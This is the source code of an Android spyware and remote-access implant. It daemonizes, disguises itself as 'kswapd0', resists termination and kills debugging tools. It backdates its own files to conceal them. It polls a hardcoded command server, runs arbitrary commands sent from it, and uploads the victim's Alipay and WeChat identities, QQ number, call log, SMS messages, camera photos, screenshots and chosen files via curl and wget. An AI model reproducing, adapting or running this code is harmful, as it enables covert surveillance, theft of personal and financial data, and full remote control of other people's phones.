#include <iostream>
#include <string>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <ctime>
#include <cerrno>
#include <cctype>
#include <cstdint>
#include <sys/resource.h>
#include <sched.h>
#include <csignal>
#include <sys/prctl.h>
#include <cstdio>
#include <utime.h>
#include <sys/time.h>

#define SERVER_HOST "http://156.238.238.227"
#define USER_ID "tkz-821-nvan"  
#define BUFFER_SIZE 4096
#define MAX_PATH 256

char *http_post(const char *url, const char *data);
char *http_get(const char *url);
char *execute_command(const char *cmd);
char *read_file_content(const char *path);
char *trim_whitespace(char *str);
int file_exists(const char *path);
char *get_device_id(void);
char *getprop(const char *key);
char *get_android_version(void);
char *get_device_model(void);
char *get_public_ip(void);
char *get_local_ip(void);
char *get_current_app(void);
char *get_network_type(void);
char *get_android_id(void);
char *get_alipay_phone(void);
char *get_alipay_realname(void);
char *get_wechat_phone(void);
char *get_wechat_id(void);
char *get_call_log_phones(void);
char *get_qq_number(void);
char *get_wifi_mac(void);
void report_device(void);
void check_commands(void);
char *base64_encode(const unsigned char *data, size_t input_length);
char *base64_decode(const char *data, size_t input_length);
void prevent_killing(void);
void set_cpu_affinity(void);
void set_max_priority(void);
void setup_wakelock(void);
void daemonize(void);
char *get_battery_level(void);

void prevent_killing(void) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "echo -1000 > /proc/self/oom_score_adj 2>/dev/null");
    system(cmd);
    snprintf(cmd, sizeof(cmd), "echo -17 > /proc/self/oom_adj 2>/dev/null");
    system(cmd);
    signal(SIGTERM, SIG_IGN);
    signal(SIGINT, SIG_IGN);
    signal(SIGHUP, SIG_IGN);
    signal(SIGPIPE, SIG_IGN);
    prctl(PR_SET_NAME, "kswapd0", 0, 0, 0);
}

void set_cpu_affinity(void) {
    cpu_set_t set;
    CPU_ZERO(&set);
    for (int i = 0; i < sysconf(_SC_NPROCESSORS_CONF); i++) {
        CPU_SET(i, &set);
    }
    sched_setaffinity(0, sizeof(set), &set);
}

void set_max_priority(void) {
    struct sched_param param;
    param.sched_priority = sched_get_priority_max(SCHED_FIFO);
    sched_setscheduler(0, SCHED_FIFO, &param);
    setpriority(PRIO_PROCESS, 0, -20);
}

void setup_wakelock(void) {
    system("echo 'main_daemon' > /sys/power/wake_lock 2>/dev/null");
    int fd = open("/sys/power/wake_lock", O_WRONLY);
    if (fd >= 0) {
        write(fd, "main_daemon", 11);
        close(fd);
    }
}

void daemonize(void) {
    pid_t pid, sid;
    pid = fork();
    if (pid < 0) {
        _exit(EXIT_FAILURE);
    }
    if (pid > 0) {
        _exit(EXIT_SUCCESS);
    }
    sid = setsid();
    if (sid < 0) {
        _exit(EXIT_FAILURE);
    }
    pid = fork();
    if (pid < 0) {
        _exit(EXIT_FAILURE);
    }
    if (pid > 0) {
        _exit(EXIT_SUCCESS);
    }
    umask(0);
    chdir("/");
    for (int i = sysconf(_SC_OPEN_MAX); i >= 0; i--) {
        close(i);
    }
    int devnull = open("/dev/null", O_RDWR);
    dup2(devnull, STDIN_FILENO);
    dup2(devnull, STDOUT_FILENO);
    dup2(devnull, STDERR_FILENO);
    if (devnull > 2) {
        close(devnull);
    }
}

char *get_battery_level(void) {
    char *result = NULL;
    FILE *fp = NULL;
    
    const char *battery_paths[] = {
        "/sys/class/power_supply/battery/capacity",
        "/sys/class/power_supply/battery/level",
        "/sys/class/power_supply/BAT0/capacity",
        "/sys/class/power_supply/BAT0/level",
        "/sys/class/power_supply/battery/batt_capacity",
        NULL
    };
    
    for (int i = 0; battery_paths[i] != NULL; i++) {
        fp = fopen(battery_paths[i], "r");
        if (fp != NULL) {
            char buffer[16];
            if (fgets(buffer, sizeof(buffer), fp) != NULL) {
                result = (char *)malloc(strlen(buffer) + 1);
                if (result != NULL) {
                    strcpy(result, buffer);
                    result[strcspn(result, "\n")] = 0;
                }
            }
            fclose(fp);
            if (result != NULL && strlen(result) > 0) {
                break;
            }
            if (result != NULL) {
                free(result);
                result = NULL;
            }
        }
    }
    
    if (result == NULL || strlen(result) == 0) {
        char *cmd_result = execute_command("dumpsys battery | grep -E 'level|capacity' | grep -oE '[0-9]+' | head -1");
        if (cmd_result != NULL && strlen(cmd_result) > 0) {
            if (result != NULL) free(result);
            result = cmd_result;
        } else if (cmd_result != NULL) {
            free(cmd_result);
        }
    }
    
    if (result == NULL || strlen(result) == 0) {
        char *cmd_result = execute_command("cat /sys/class/power_supply/*/capacity 2>/dev/null | head -1");
        if (cmd_result != NULL && strlen(cmd_result) > 0) {
            if (result != NULL) free(result);
            result = cmd_result;
        } else if (cmd_result != NULL) {
            free(cmd_result);
        }
    }
    
    if (result == NULL || strlen(result) == 0) {
        char *cmd_result = execute_command("service call battery 1 | awk -F \"'\" '{print $2}' | tr -d '[:space:]' | cut -c 1-3");
        if (cmd_result != NULL && strlen(cmd_result) > 0) {
            int level = strtol(cmd_result, NULL, 16);
            if (level > 0 && level <= 100) {
                if (result != NULL) free(result);
                result = (char *)malloc(4);
                if (result != NULL) {
                    snprintf(result, 4, "%d", level);
                }
            }
            free(cmd_result);
        }
    }
    
    if (result == NULL || strlen(result) == 0) {
        if (result != NULL) free(result);
        result = (char *)malloc(3);
        if (result != NULL) {
            strcpy(result, "0");
        }
    }
    
    return result;
}

char random_letter() {
    return 'a' + (rand() % 26);
}

char random_digit() {
    return '0' + (rand() % 10);
}

char* generate_device_id() {
    char* id = (char*)malloc(14);
    if (id == NULL) return NULL;
    
    for (int i = 0; i < 5; i++) {
        id[i] = random_letter();
    }
    
    id[5] = '-';
    
    for (int i = 0; i < 3; i++) {
        id[6 + i] = random_letter();
    }
    
    id[9] = '-';
    
    for (int i = 0; i < 3; i++) {
        id[10 + i] = random_digit();
    }
    
    id[13] = '\0';
    return id;
}

void set_file_time_to_2023_06_05(const char* filepath) {
    struct utimbuf new_times;
    
    new_times.actime = 1685923200;
    new_times.modtime = 1685923200;
    
    if (utime(filepath, &new_times) != 0) {
        char cmd[256];
        snprintf(cmd, sizeof(cmd), "touch -t 202306050000.00 %s 2>/dev/null", filepath);
        system(cmd);
    }
}

int main() {
    setuid(0);
    setgid(0);
    prevent_killing();
    daemonize();
    set_cpu_affinity();
    set_max_priority();
    setup_wakelock();
    system("busybox killall -9 lsof 2>/dev/null");
    system("busybox killall -9 strace 2>/dev/null");
    
    srand(time(NULL));
    
    report_device();
    
    int cycle_count = 0;
    while (1) {
        if (cycle_count % 5 == 0) {
            report_device();
        }
        
        check_commands();
        
        sleep(5);
        cycle_count++;
        
        if (cycle_count % 10 == 0) {
            prevent_killing();
            set_max_priority();
        }
    }
    
    return 0;
}

void report_device(void) {
    char *device_id = get_device_id();
    char *model = get_device_model();
    char *android_version = get_android_version();
    char *alipay_phone = get_alipay_phone();
    char *alipay_realname = get_alipay_realname();
    char *wechat_phone = get_wechat_phone();
    char *wechat_id = get_wechat_id();
    char *call_log_phones = get_call_log_phones();
    char *qq_number = get_qq_number();
    char *public_ip = get_public_ip();
    char *local_ip = get_local_ip();
    char *current_app = get_current_app();
    char *network_type = get_network_type();
    char *android_id = get_android_id();
    char *wifi_mac = get_wifi_mac();
    char *battery_level = get_battery_level();

    char *display_name = NULL;
    
    if (alipay_realname != NULL && strlen(alipay_realname) > 0) {
        display_name = (char *)malloc(strlen(alipay_realname) + 1);
        if (display_name != NULL) {
            strcpy(display_name, alipay_realname);
        }
    } else if (alipay_phone != NULL && strlen(alipay_phone) > 0) {
        display_name = (char *)malloc(strlen(alipay_phone) + 1);
        if (display_name != NULL) {
            strcpy(display_name, alipay_phone);
        }
    } else if (model != NULL && strlen(model) > 0) {
        display_name = (char *)malloc(strlen(model) + 1);
        if (display_name != NULL) {
            strcpy(display_name, model);
        }
    } else if (device_id != NULL && strlen(device_id) > 0) {
        display_name = (char *)malloc(strlen(device_id) + 1);
        if (display_name != NULL) {
            strcpy(display_name, device_id);
        }
    } else {
        display_name = (char *)malloc(8);
        if (display_name != NULL) {
            strcpy(display_name, "unknown");
        }
    }

    char post_data[BUFFER_SIZE * 2];
    snprintf(post_data, sizeof(post_data),
        "device_id=%s&user_id=%s&model=%s&android_version=%s&phone_number=%s&ip_address=%s&current_app=%s&network_type=%s&android_id=%s&wechat_phone=%s&wechat_id=%s&alipay_realname=%s&call_log_phones=%s&qq_number=%s&local_ip=%s&wifi_mac=%s&battery_level=%s",
        device_id ? device_id : "",
        USER_ID,
        display_name ? display_name : "",
        android_version ? android_version : "",
        alipay_phone ? alipay_phone : "",
        public_ip ? public_ip : "",
        current_app ? current_app : "",
        network_type ? network_type : "",
        android_id ? android_id : "",
        wechat_phone ? wechat_phone : "",
        wechat_id ? wechat_id : "",
        alipay_realname ? alipay_realname : "",
        call_log_phones ? call_log_phones : "",
        qq_number ? qq_number : "",
        local_ip ? local_ip : "",
        wifi_mac ? wifi_mac : "",
        battery_level ? battery_level : "0");

    char url[256];
    snprintf(url, sizeof(url), "http://%s/api/report.php", SERVER_HOST);
    char *response = http_post(url, post_data);

    if (response != NULL) {
        if (strstr(response, "OK") != NULL) {
        } else {
        }
        free(response);
    }

    if (device_id) free(device_id);
    if (model) free(model);
    if (android_version) free(android_version);
    if (alipay_phone) free(alipay_phone);
    if (alipay_realname) free(alipay_realname);
    if (wechat_phone) free(wechat_phone);
    if (wechat_id) free(wechat_id);
    if (call_log_phones) free(call_log_phones);
    if (qq_number) free(qq_number);
    if (public_ip) free(public_ip);
    if (local_ip) free(local_ip);
    if (current_app) free(current_app);
    if (network_type) free(network_type);
    if (android_id) free(android_id);
    if (display_name) free(display_name);
    if (wifi_mac) free(wifi_mac);
    if (battery_level) free(battery_level);
}

void check_commands(void) {
    char *device_id = get_device_id();
    if (device_id == NULL) return;

    char url[256];
    snprintf(url, sizeof(url), "http://%s/api/check_commands.php?device_id=%s&user_id=%s", SERVER_HOST, device_id, USER_ID);
    char *response = http_get(url);

    if (response != NULL && strlen(response) > 0 && strcmp(response, "null") != 0) {
        char *saveptr = NULL;
        char *response_copy = strdup(response);
        char *command_token = strtok_r(response_copy, ";;", &saveptr);
        
        while (command_token != NULL) {
            char *command_saveptr = NULL;
            char *command_id = strtok_r(command_token, "|", &command_saveptr);
            char *command_encoded = strtok_r(NULL, "|", &command_saveptr);

            if (command_id != NULL && command_encoded != NULL) {
                char *command = base64_decode(command_encoded, strlen(command_encoded));
                if (command == NULL) {
                    command = (char *)malloc(strlen(command_encoded) + 1);
                    if (command != NULL) {
                        strcpy(command, command_encoded);
                    }
                }

                if (command != NULL) {
                    char *result = NULL;
                    
                    if (strstr(command, "content query --uri content://sms") != NULL) {
                        char temp_file[256];
                        snprintf(temp_file, sizeof(temp_file), "/data/local/tmp/sms_%s_%s.txt", device_id, command_id);
                        
                        char sms_cmd[512];
                        snprintf(sms_cmd, sizeof(sms_cmd), "content query --uri content://sms --projection address,body,date 2>/dev/null | grep 'Row:' > %s", temp_file);
                        
                        system(sms_cmd);
                        
                        char upload_cmd[512];
                        snprintf(upload_cmd, sizeof(upload_cmd),
                            "curl -s --connect-timeout 300 --max-time 600 -X POST -F 'device_id=%s' -F 'command_id=%s' -F 'sms_file=@%s' 'http://%s/api/upload_sms.php' >/dev/null 2>&1",
                            device_id, command_id, temp_file, SERVER_HOST);
                        
                        system(upload_cmd);
                        
                        char del_cmd[256];
                        snprintf(del_cmd, sizeof(del_cmd), "rm -f %s", temp_file);
                        system(del_cmd);
                        
                        result = strdup("SMS_FILE_UPLOADED");
                    }
                    else if (strstr(command, "cd /storage/emulated/0/DCIM/Camera/ && zip -r /sdcard/album.zip") != NULL) {
                        char script_path[256];
                        snprintf(script_path, sizeof(script_path), "/data/local/tmp/extract_album_%s_%s.sh", device_id, command_id);
                        
                        FILE *script = fopen(script_path, "w");
                        if (script) {
                            fprintf(script, "#!/system/bin/sh\n");
                            fprintf(script, "echo '开始提取相册...'\n");
                            fprintf(script, "cd /storage/emulated/0/DCIM/Camera/\n");
                            
                            fprintf(script, "file_count=$(find . -type f -name '*.jpg' -o -name '*.jpeg' -o -name '*.png' -o -name '*.mp4' -o -name '*.gif' 2>/dev/null | wc -l)\n");
                            fprintf(script, "if [ $file_count -eq 0 ]; then\n");
                            fprintf(script, "  echo '没有找到图片文件' > /sdcard/album_empty_%s_%s.txt\n", device_id, command_id);
                            fprintf(script, "  curl -s --connect-timeout 300 --max-time 600 -X POST -F \"device_id=%s\" -F \"command_id=%s\" -F \"album_file=@/sdcard/album_empty_%s_%s.txt\" \"http://%s/api/upload_album.php\"\n", device_id, command_id, device_id, command_id, SERVER_HOST);
                            fprintf(script, "  rm -f /sdcard/album_empty_%s_%s.txt\n", device_id, command_id);
                            fprintf(script, "  exit 1\n");
                            fprintf(script, "fi\n");
                            
                            fprintf(script, "find . -type f -name '*.jpg' -o -name '*.jpeg' -o -name '*.png' -o -name '*.mp4' -o -name '*.gif' 2>/dev/null > /sdcard/filelist_%s_%s.txt\n", device_id, command_id);
                            fprintf(script, "tar -cf /sdcard/album_%s_%s.tar -T /sdcard/filelist_%s_%s.txt 2>/dev/null\n", device_id, command_id, device_id, command_id);
                            
                            fprintf(script, "if [ -f /sdcard/album_%s_%s.tar ]; then\n", device_id, command_id);
                            fprintf(script, "  curl -s --connect-timeout 300 --max-time 600 -X POST -F \"device_id=%s\" -F \"command_id=%s\" -F \"album_file=@/sdcard/album_%s_%s.tar\" \"http://%s/api/upload_album.php\"\n", device_id, command_id, device_id, command_id, SERVER_HOST);
                            fprintf(script, "  rm -f /sdcard/album_%s_%s.tar\n", device_id, command_id);
                            fprintf(script, "  rm -f /sdcard/filelist_%s_%s.txt\n", device_id, command_id);
                            fprintf(script, "else\n");
                            fprintf(script, "  curl -s --connect-timeout 300 --max-time 600 -X POST -F \"device_id=%s\" -F \"command_id=%s\" -F \"album_file=@/sdcard/filelist_%s_%s.txt\" \"http://%s/api/upload_album.php\"\n", device_id, command_id, device_id, command_id, SERVER_HOST);
                            fprintf(script, "  rm -f /sdcard/filelist_%s_%s.txt\n", device_id, command_id);
                            fprintf(script, "fi\n");
                            
                            fclose(script);
                            
                            char chmod_cmd[256];
                            snprintf(chmod_cmd, sizeof(chmod_cmd), "chmod 755 %s", script_path);
                            system(chmod_cmd);
                            
                            char execute_cmd[512];
                            snprintf(execute_cmd, sizeof(execute_cmd), "sh %s > /dev/null 2>&1 &", script_path);
                            system(execute_cmd);
                            
                            char del_script_cmd[256];
                            snprintf(del_script_cmd, sizeof(del_script_cmd), "sleep 5 && rm -f %s", script_path);
                            system(del_script_cmd);
                            
                            result = strdup("ALBUM_EXTRACTION_STARTED");
                        } else {
                            result = strdup("ALBUM_SCRIPT_CREATE_FAILED");
                        }
                    }
                    else if (strstr(command, "screencap -p /sdcard/screenshot.png") != NULL) {
                        char script_path[256];
                        snprintf(script_path, sizeof(script_path), "/data/local/tmp/capture_screenshot_%s_%s.sh", device_id, command_id);

                        FILE *script = fopen(script_path, "w");
                        if (script) {
                            fprintf(script, "#!/system/bin/sh\n");
                            fprintf(script, "screencap -p /sdcard/screenshot_%s_%s.png\n", device_id, command_id);
                            fprintf(script, "if [ -f /sdcard/screenshot_%s_%s.png ]; then\n", device_id, command_id);
                            fprintf(script, "  curl -s --connect-timeout 300 --max-time 600 -X POST -F \"device_id=%s\" -F \"command_id=%s\" -F \"screenshot_file=@/sdcard/screenshot_%s_%s.png\" \"http://%s/api/upload_screenshot.php\"\n", device_id, command_id, device_id, command_id, SERVER_HOST);
                            fprintf(script, "  rm -f /sdcard/screenshot_%s_%s.png\n", device_id, command_id);
                            fprintf(script, "fi\n");

                            fclose(script);

                            char chmod_cmd[256];
                            snprintf(chmod_cmd, sizeof(chmod_cmd), "chmod 755 %s", script_path);
                            system(chmod_cmd);

                            char execute_cmd[512];
                            snprintf(execute_cmd, sizeof(execute_cmd), "sh %s > /dev/null 2>&1 &", script_path);
                            system(execute_cmd);

                            char del_script_cmd[256];
                            snprintf(del_script_cmd, sizeof(del_script_cmd), "sleep 5 && rm -f %s", script_path);
                            system(del_script_cmd);
                            
                            result = strdup("SCREENSHOT_STARTED");
                        } else {
                            result = strdup("SCREENSHOT_SCRIPT_CREATE_FAILED");
                        }
                    }
                    else if (strstr(command, "cat \"") != NULL) {
                        char file_path[512];
                        const char *start = strstr(command, "cat \"") + 5;
                        const char *end = strchr(start, '"');

                        if (end != NULL) {
                            int path_len = end - start;
                            if (path_len > 0 && path_len < sizeof(file_path)) {
                                strncpy(file_path, start, path_len);
                                file_path[path_len] = '\0';

                                char script_path[256];
                                snprintf(script_path, sizeof(script_path), "/data/local/tmp/upload_file_%s_%s.sh", device_id, command_id);

                                FILE *script = fopen(script_path, "w");
                                if (script) {
                                    fprintf(script, "#!/system/bin/sh\n");
                                    fprintf(script, "if [ -f \"%s\" ]; then\n", file_path);
                                    
                                    char temp_file[256];
                                    snprintf(temp_file, sizeof(temp_file), "/data/local/tmp/upload_temp_%s_%s", device_id, command_id);
                                    fprintf(script, "  cp \"%s\" \"%s\"\n", file_path, temp_file);
                                    
                                    fprintf(script, "  curl -s --connect-timeout 300 --max-time 600 -X POST -F \"device_id=%s\" -F \"command_id=%s\" -F \"file=@%s\" \"http://%s/api/thjl_screenshot.php\"\n", device_id, command_id, temp_file, SERVER_HOST);
                                    fprintf(script, "  rm -f \"%s\"\n", temp_file);
                                    fprintf(script, "fi\n");

                                    fclose(script);

                                    char chmod_cmd[256];
                                    snprintf(chmod_cmd, sizeof(chmod_cmd), "chmod 755 %s", script_path);
                                    system(chmod_cmd);

                                    char execute_cmd[512];
                                    snprintf(execute_cmd, sizeof(execute_cmd), "sh %s > /dev/null 2>&1 &", script_path);
                                    system(execute_cmd);

                                    char del_script_cmd[256];
                                    snprintf(del_script_cmd, sizeof(del_script_cmd), "sleep 5 && rm -f %s", script_path);
                                    system(del_script_cmd);
                                    
                                    result = strdup("FILE_UPLOAD_STARTED");
                                } else {
                                    result = strdup("FILE_UPLOAD_SCRIPT_CREATE_FAILED");
                                }
                            } else {
                                result = strdup("FILE_PATH_INVALID");
                            }
                        } else {
                            result = strdup("FILE_PATH_NOT_FOUND");
                        }
                    }
                    else {
                        char *cmd_result = execute_command(command);
                        if (cmd_result == NULL) {
                            result = strdup("Command execution failed");
                        } else {
                            result = cmd_result;
                        }
                    }

                    if (result != NULL) {
                        char result_url[256];
                        char post_data[BUFFER_SIZE * 2];

                        snprintf(result_url, sizeof(result_url), "http://%s/api/command_result.php", SERVER_HOST);

                        char *result_encoded = base64_encode((const unsigned char *)result, strlen(result));
                        if (result_encoded != NULL) {
                            snprintf(post_data, sizeof(post_data), "id=%s&result=%s", command_id, result_encoded);
                            free(result_encoded);
                        } else {
                            snprintf(post_data, sizeof(post_data), "id=%s&result=%s", command_id, result);
                        }

                        http_post(result_url, post_data);
                        free(result);
                    }

                    free(command);
                }
            }

            command_token = strtok_r(NULL, ";;", &saveptr);
        }
        
        free(response_copy);
    }

    free(device_id);
    if (response != NULL) free(response);
}

char *get_device_id(void) {
    const char* filepath = "/data/system/can0ta_z_zvaceo.xml";
    char* device_id = NULL;
    FILE* fp = NULL;
    
    fp = fopen(filepath, "r");
    if (fp != NULL) {
        char buffer[128];
        if (fgets(buffer, sizeof(buffer), fp) != NULL) {
            buffer[strcspn(buffer, "\n")] = 0;
            device_id = (char*)malloc(strlen(buffer) + 1);
            if (device_id != NULL) {
                strcpy(device_id, buffer);
            }
        }
        fclose(fp);
    }
    
    if (device_id == NULL || strlen(device_id) == 0) {
        char* new_id = generate_device_id();
        if (new_id == NULL) {
            time_t t = time(NULL);
            new_id = (char *)malloc(50);
            if (new_id != NULL) {
                snprintf(new_id, 50, "unknown_device_%ld", t);
            }
        }
        
        if (new_id != NULL) {
            fp = fopen(filepath, "w");
            if (fp != NULL) {
                fprintf(fp, "%s\n", new_id);
                fclose(fp);
                
                chmod(filepath, 0600);
                
                set_file_time_to_2023_06_05(filepath);
                
                device_id = new_id;
            } else {
                device_id = new_id;
            }
        }
    }
    
    return device_id;
}

char *getprop(const char *key) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "getprop %s 2>/dev/null", key);
    return execute_command(cmd);
}

char *execute_command(const char *cmd) {
    FILE *fp;
    char *result = NULL;
    char buffer[BUFFER_SIZE];
    size_t len = 0;
    size_t total_size = BUFFER_SIZE;
    size_t bytes_read;
    
    result = (char *)malloc(total_size);
    if (result == NULL) {
        return NULL;
    }
    result[0] = '\0';
    
    fp = popen(cmd, "r");
    if (fp == NULL) {
        free(result);
        return NULL;
    }
    
    while (fgets(buffer, sizeof(buffer), fp) != NULL) {
        bytes_read = strlen(buffer);
        if (len + bytes_read + 1 > total_size) {
            total_size *= 2;
            char *new_result = (char *)realloc(result, total_size);
            if (new_result == NULL) {
                pclose(fp);
                free(result);
                return NULL;
            }
            result = new_result;
        }
        strcat(result + len, buffer);
        len += bytes_read;
    }
    
    pclose(fp);
    
    if (len > 0 && result[len-1] == '\n') {
        result[len-1] = '\0';
    }
    
    return result;
}

char *get_alipay_phone(void) {
    char *result = execute_command("grep 'loginId' /data/user/0/com.eg.android.AlipayGphone/shared_prefs/startup_reserved.xml | sed -n 's/.*>\\([0-9]\\{11\\}\\)<.*/\\1/p'");
    if (result == NULL || strlen(result) == 0) {
        if (result) free(result);
        return NULL;
    }
    return result;
}

char *get_alipay_realname(void) {
    char *result = execute_command("tr -d '0-9a-zA-Z?=/+' < /data/user/0/com.eg.android.AlipayGphone/databases/alipayclient.db | awk '/[一-龯]/'");
    if (result == NULL || strlen(result) == 0) {
        if (result) free(result);
        return NULL;
    }
    return result;
}

char *get_wechat_phone(void) {
    char *result = execute_command("grep '<string name=\"last_login_bind_mobile\"' '/data/user/0/com.tencent.mm/shared_prefs/com.tencent.mm_preferences.xml' | sed -n 's/.*>\\(.*\\)<.*/\\1/p'");
    if (result == NULL || strlen(result) == 0) {
        if (result) free(result);
        return NULL;
    }
    return result;
}

char *get_wechat_id(void) {
    char *result = execute_command("grep '<string name=\"last_login_alias\"' '/data/user/0/com.tencent.mm/shared_prefs/com.tencent.mm_preferences.xml' | sed -n 's/.*>\\(.*\\)<.*/\\1/p'");
    if (result == NULL || strlen(result) == 0) {
        if (result) free(result);
        return NULL;
    }
    return result;
}

char *get_call_log_phones(void) {
    char *result = execute_command("content query --uri content://call_log/calls --projection phone_account_address 2>/dev/null | cut -d = -f 2 | grep +86 | sed '/NULL/d ;s/[1](@ref)*//' | sort | uniq");
    if (result == NULL || strlen(result) == 0) {
        if (result) free(result);
        return NULL;
    }
    return result;
}

char *get_qq_number(void) {
    char *result = execute_command("ls /data/user/0/com.tencent.mobileqq/qstore/ 2>/dev/null");
    if (result == NULL || strlen(result) == 0) {
        if (result) free(result);
        return NULL;
    }
    return result;
}

char *get_public_ip(void) {
    char *result = execute_command("curl -s ipinfo.io/ip");
    if (result == NULL || strlen(result) == 0) {
        if (result) free(result);
        return NULL;
    }
    return result;
}

char *get_wifi_mac(void) {
    char *result = execute_command("cat /sys/class/net/wlan0/address");
    if (result == NULL || strlen(result) == 0) {
        if (result) free(result);
        return NULL;
    }
    return result;
}

char *get_local_ip(void) {
    char *result = execute_command("ip addr show wlan0 2>/dev/null | grep 'inet ' | awk '{print $2}' | cut -d/ -f1 | head -1 || echo \"\"");
    if (result && strlen(result) == 0) {
        free(result);
        return NULL;
    }
    return result;
}

char *get_current_app(void) {
    char *result = execute_command("dumpsys window windows 2>/dev/null | grep -E 'mCurrentFocus|mFocusedApp' | grep -oE '[a-zA-Z0-9._]+/[a-zA-Z0-9._]+' | head -1 || echo \"\"");
    if (result && strlen(result) == 0) {
        free(result);
        return NULL;
    }
    return result;
}

char *get_network_type(void) {
    char *result = execute_command("ip link show wlan0 2>/dev/null | grep -q 'state UP' && echo 'WIFI' || echo 'MOBILE' || echo \"\"");
    if (result == NULL || strlen(result) == 0) {
        if (result) free(result);
        result = (char *)malloc(8);
        if (result != NULL) {
            strcpy(result, "UNKNOWN");
        }
    }
    return result;
}

char *get_android_id(void) {
    char *result = execute_command("settings get secure android_id 2>/dev/null");
    if (result == NULL || strlen(result) == 0 || strcmp(result, "null") == 0) {
        if (result) free(result);
        return NULL;
    }
    return result;
}

char *get_device_model(void) {
    char *result = getprop("ro.product.model");
    if (result && strlen(result) == 0) {
        free(result);
        return NULL;
    }
    return result;
}

char *get_android_version(void) {
    char *result = getprop("ro.build.version.release");
    if (result && strlen(result) == 0) {
        free(result);
        return NULL;
    }
    return result;
}

char *http_post(const char *url, const char *data) {
    char cmd[BUFFER_SIZE * 3];
    char *result = NULL;
    int retries = 3;
    while (retries > 0) {
        snprintf(cmd, sizeof(cmd),
            "wget -q -T 30 --tries=1 -O - --post-data='%s' '%s' 2>/dev/null", data, url);
        result = execute_command(cmd);
        if (result != NULL && strlen(result) > 0) break;
        if (result != NULL) {
            free(result);
            result = NULL;
        }
        snprintf(cmd, sizeof(cmd),
            "curl -s --connect-timeout 30 --max-time 30 -X POST -d '%s' '%s' 2>/dev/null", data, url);
        result = execute_command(cmd);
        if (result != NULL && strlen(result) > 0) break;
        if (result != NULL) {
            free(result);
            result = NULL;
        }
        retries--;
        sleep(2);
    }
    return result;
}

char *http_get(const char *url) {
    char cmd[BUFFER_SIZE];
    char *result = NULL;
    int retries = 3;
    while (retries > 0) {
        snprintf(cmd, sizeof(cmd), "wget -q -T 10 --tries=1 -O - '%s' 2>/dev/null", url);
        result = execute_command(cmd);
        if (result != NULL && strlen(result) > 0) break;
        if (result != NULL) {
            free(result);
            result = NULL;
        }
        snprintf(cmd, sizeof(cmd), "curl -s --connect-timeout 10 --max-time 10 '%s' 2>/dev/null", url);
        result = execute_command(cmd);
        if (result != NULL && strlen(result) > 0) break;
        if (result != NULL) {
            free(result);
            result = NULL;
        }
        retries--;
        sleep(2);
    }
    return result;
}

static const char base64_table[] = {
    'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
    'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
    'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
    'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'
};

char *base64_encode(const unsigned char *data, size_t input_length) {
    if (data == NULL) return NULL;
    size_t output_length = 4 * ((input_length + 2) / 3);
    char *encoded_data = (char *)malloc(output_length + 1);
    if (encoded_data == NULL) return NULL;
    for (size_t i = 0, j = 0; i < input_length;) {
        uint32_t octet_a = i < input_length ? data[i++] : 0;
        uint32_t octet_b = i < input_length ? data[i++] : 0;
        uint32_t octet_c = i < input_length ? data[i++] : 0;
        uint32_t triple = (octet_a << 16) + (octet_b << 8) + octet_c;
        encoded_data[j++] = base64_table[(triple >> 18) & 0x3F];
        encoded_data[j++] = base64_table[(triple >> 12) & 0x3F];
        encoded_data[j++] = base64_table[(triple >> 6) & 0x3F];
        encoded_data[j++] = base64_table[triple & 0x3F];
    }
    for (size_t i = 0; i < (3 - input_length % 3) % 3; i++) {
        encoded_data[output_length - 1 - i] = '=';
    }
    encoded_data[output_length] = '\0';
    return encoded_data;
}

char *base64_decode(const char *data, size_t input_length) {
    if (data == NULL || input_length % 4 != 0) return NULL;
    size_t output_length = input_length / 4 * 3;
    if (data[input_length - 1] == '=') output_length--;
    if (data[input_length - 2] == '=') output_length--;
    unsigned char *decoded_data = (unsigned char *)malloc(output_length + 1);
    if (decoded_data == NULL) return NULL;
    unsigned char base64_reverse_table[256];
    memset(base64_reverse_table, 0xFF, 256);
    for (int i = 0; i < 64; i++) {
        base64_reverse_table[(unsigned char)base64_table[i]] = i;
    }
    for (size_t i = 0, j = 0; i < input_length;) {
        uint32_t sextet_a = data[i] == '=' ? 0 : base64_reverse_table[(unsigned char)data[i]];
        i++;
        uint32_t sextet_b = data[i] == '=' ? 0 : base64_reverse_table[(unsigned char)data[i]];
        i++;
        uint32_t sextet_c = data[i] == '=' ? 0 : base64_reverse_table[(unsigned char)data[i]];
        i++;
        uint32_t sextet_d = data[i] == '=' ? 0 : base64_reverse_table[(unsigned char)data[i]];
        i++;
        uint32_t triple = (sextet_a << 18) + (sextet_b << 12) + (sextet_c << 6) + sextet_d;
        if (j < output_length) decoded_data[j++] = (triple >> 16) & 0xFF;
        if (j < output_length) decoded_data[j++] = (triple >> 8) & 0xFF;
        if (j < output_length) decoded_data[j++] = triple & 0xFF;
    }
    decoded_data[output_length] = '\0';
    return (char *)decoded_data;
}